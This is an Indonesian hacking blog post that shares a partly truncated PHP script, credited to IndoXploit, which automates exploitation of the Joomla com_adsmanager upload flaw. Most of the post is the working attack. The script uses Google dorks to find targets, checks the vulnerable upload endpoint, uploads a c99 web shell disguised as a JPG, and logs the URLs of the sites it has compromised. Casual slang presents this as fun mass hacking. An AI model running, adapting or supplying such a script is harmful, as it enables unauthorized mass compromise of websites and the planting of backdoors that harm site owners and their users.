Joomla Component com_adsmanager Auto Dorker+Xploiter Alfarizi_404 00:16 Hai para hekel maho :v Oke lansung aja sedot script buatan IndoXploit ,.. ' . __FUNCTION__ . ' Kill me :( ' . $url ); } function http_get($url, $safemode = false){ if($safemode === true) sleep(1); $im = curl_init($url); curl_setopt($im, CURLOPT_RETURNTRANSFER, 1); curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($im, CURLOPT_HEADER, 0); return curl_exec($im); curl_close(); } function check_injection($url){ $data = http_get( str_replace("=com_adsmanager", "=com_adsmanager&task=upload&tmpl=component", $url) ); return preg_match('/"jsonrpc" : "2.0", "result" : null, "id" : "id","tmpfile"/', $data); } ?> Dork: "; letItBy(); for($googlePage = 1; $googlePage <= 10; $googlePage++){ $googleResult = google_that($_POST['dork'], $googlePage); if(!$googleResult){ echo 'google dont have more result, so I done..(?)'; break; } for($victim = 0; $victim < sizeof($googleResult); $victim++) { if(check_injection($googleResult[$victim]['unescapedUrl'])){ echo ""; $site = "http://".$googleResult[$victim]['visibleUrl']."/index.php?option=com_adsmanager&task=upload&tmpl=component"; echo "[+] Scan : http://".$googleResult[$victim]['visibleUrl']."/"; echo "[+] Ada Cuk!! => $site "; echo "[?] Bntr ya , mau di anu dulu :p"; $file = "namashell_anda.php"; // nama shell yang nantinya di upload ke target $postdata = array( "file"=>"@c99.jpg", "name"=>"$file"); // shell yang akan diupload pertama harus ber ekstensi/fomat .jpg bukan .php $x = curl_init("{$site}"); curl_setopt($x, CURLOPT_RETURNTRANSFER, 1); curl_setopt($x, CURLOPT_POST, 1); curl_setopt($x, CURLOPT_POSTFIELDS, $postdata); $res = curl_exec($x); if(preg_match("/error_log/", $res)) { // "errog_log" diganti dengan nama file anda ex: "c99" atau "shell" $fh = fopen("sh3.txt","a"); // log result yang berhasil ke exploit fwrite($fh, "http://".$googleResult[$victim]['visibleUrl']."/tmp/plupload/$file"."\n"); fclose($fh); echo "[+] Wih Hoki bener lu cok !! Sukses di anu => http://".$googleResult[$victim]['visibleUrl']."/tmp/plupload/$file <==",""; } else { echo "[-] Yah Gagal Di Anu cok xixixi :p"; } echo " "; curl_close($x); } else echo " "; echo "[+] Scan : http://".$googleResult[$victim]['visibleUrl']."/"; echo "[-] Ga nemu cuk! "; echo " "; letItBy(); } } } ?>